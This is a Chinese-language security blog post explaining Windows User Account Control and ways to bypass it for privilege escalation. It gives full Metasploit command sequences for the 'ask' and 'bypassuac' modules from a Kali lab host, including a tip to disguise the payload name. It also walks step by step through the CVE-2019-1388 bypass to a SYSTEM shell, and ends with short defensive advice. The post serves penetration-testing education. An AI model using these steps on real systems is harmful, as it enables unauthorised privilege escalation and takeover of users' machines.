铭说 | 浅析UAC原理及绕过提权 – 作者:南京聚铭网络

什么是UAC?

UAC(User Account Control)简称用户帐户控制,UAC 是Windows Vista以上的版本中引入了要求用户在执行可能会影响计算机运行的操作或执行更改影响其他用户的设置的操作之前,提供权限或管理员‌密码。

3eb31ac43e1d49299b713e2574d2f3e6.png

UAC工作模式

57d160e221ca41dda591b2352e1771f6.png

需要UAC的授权才能进行的操作:

配置Windows Update

增加、删除账户;更改账户类型

更改UAC的设置

安装ActiveX;安装、卸载程序

安装设备驱动程序

将文件移动/复制到ProgramFiles或Windows目录下

查看其它用户的文件夹

UAC有如下四种设置要求:

始终通知:这是最严格的设置,每当有程序需要使用高级别的权限时都会提示本地用户

仅在程序试图更改我的计算机时通知我:这是UAC的默认设置。当本地Windows程序要使用高级别的权限时,不会通知用户。但是,当第三方程序要使用高级别的权限时,会提示本地用户

仅在程序试图更改我的计算机时通知我(不降低桌面的亮度):与上一条设置的要求相同,但在提示用户时不降低桌面的亮度

从不提示:当用户为系统管理员时,所有程序都会以最高权限运行

fb02898f1b704e4f96df94d2d6d8b537.png

绕过UAC的几种思路

目前公开的方法中,有以下几种绕过UAC思路:

白名单劫持(利用白名单程序是该程序以系统权限启动且不用通知用户,只要我们找到相关程序劫持它,此时只要程序启动,也会带着我们的程序以系统权限启动。)

DLL 劫持

Windows 自身漏洞提权

远程注入

COM 接口技术

绕过UAC提权方法

一、利用Metasploit绕过UAC提权

实验环境:

l 目标主机:Windows 7 professional SP1(64位):192.168.178.246

l 攻击主机:Kali:192.168.178.131

l 攻击主机已获得目标主机的反弹shell(管理员权限),接收端口为2333。

在前期利用反弹shell获取到windows 7会话的前提下,想从管理员权限提升到系统权限,直接使用提权命令‘getsystem’失败,是由于存在UAC的问题,所以先想办法绕过UAC再利用命名管道提权。

d489b2a519e24f2fb0eb467e309103f8.png

1.使用exploit/windows/loacal/ask模块绕过UAC

该模块会创建一个可执行文件,目标机器会运行一个发起提升权限请求的程序,提示用户是否要继续运行,如果用户选择继续运行程序,就会返回一个system权限的shell。

攻击主机执行MSF命令:

#先将反弹会话放置后台

Ctrl+Z

#模块使用

use exploit/windows/local/ask

set filename update.exe #设置运行程序名,尽可能设置一个不易发现的名字。

set session 17

set lhost 192.168.178.131

set lport 2333

run

此时win7上弹出UAC提醒,一旦用户点击了‘是’,就绕过了UAC。

0286bbdb6bea4ed9aacaa823d074e280.png

Kali获得新会话响应,在新会话中执行提权命令‘getsystem’成功:

2a2761e320a54c56a0d789e128150c37.png

2bac0717ed014a9ea8e59d9528781e7b.png

2.exploit/windows/local/bypassuac模块绕过UAC

此模块通过进程注入利用受信任的发布者证书绕过Windows UAC,使用该模块时当前用户必须在管理员组中,且UAC必须为默认设置(“仅在程序试图更改我的计算机时提醒我”)。

#同样,在获取会话后,会话放后台再执行命令:

Ctrl+Z

#模块使用

use exploit/windows/local/bypassuac

set session 7

set lhost 192.168.178.131

Set lport 2333

Run

7f2c77c350a44cad95d26ba3dcb9014b.png

Kali获得新会话响应,在新会话中执行提权命令‘getsystem’成功:

8c4675d9f26b40ff97fd4426bc42a977.png

二、利用CVE-2019-1388绕过UAC提权

该漏洞位于Windows的UAC(User Account Control,用户帐户控制)机制中。默认情况下,Windows会在一个单独的桌面上显示所有的UAC提示——Secure Desktop。这些提示是由名为consent.exe的可执行文件产生的,该可执行文件以NT AUTHORITY\SYSTEM权限运行,完整性级别为System。

#漏洞程序:

HHUPD.exe

程序下载地址:https://github.com/jas502n/CVE-2019-1388

#复现环境:

Windows 7 Enterprise with Service Pack 1 (64位)

当前权限:管理员

#提权过程

1. 打开HHUPD.EXE,在UAC提示中选择“显示详细信息”后点击“显示有关此发布者的证书信息”。

9ac5e3865fc843c8a158fba458d45a9d.png

2. 点击“颁发者”的超链接,然后关闭UAC提示。

d6e2ed8f8a2d46dc9f06c7245ca1bf5d.png

3. 在弹出的页面中选择“页面”->点击“另存为”。

909392f2657e43da924ac4fabb5eb9c0.png

4. 弹出的警告框点击确定。

70c0aebb2db240d381ad2cb7a5c011b5.png

5. 在文件名输入:C:\Windows\System32\*.*

7e7173a0f15c484d8ed729325b949077.png

6. 找到cmd,右键打开。

972f13c44d1c47108b603dd4fd0f24a1.png

7. 在命令行输入“whoami”可以发现当前是系统权限。

8d4b9bfdfb3d4ae58477d732bb032310.png

三、其他攻击模块

Metasploit的其他bypassuac模块、Nishang中的Invoke-PsUACme模块、Empire中的bypassuac模块等都可以进行绕过UAC提权,感兴趣可以自行深入学习。

针对绕过UAC的防御思路

在企业网络环境中,防止绕过UAC的最好方法是不让内网机器的使用者拥有本地管理员权限,从而降低系统遭受攻击的可能性。

在家庭网络环境中,建议使用非管理员权限进行日常办公与娱乐等活动。使用本地管理员权限登录的用户,将UAC设置为“始终通知”或者删除该用户的本地管理员权限。

来源:freebuf.com 2021-02-03 14:42:01 by: 南京聚铭网络

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论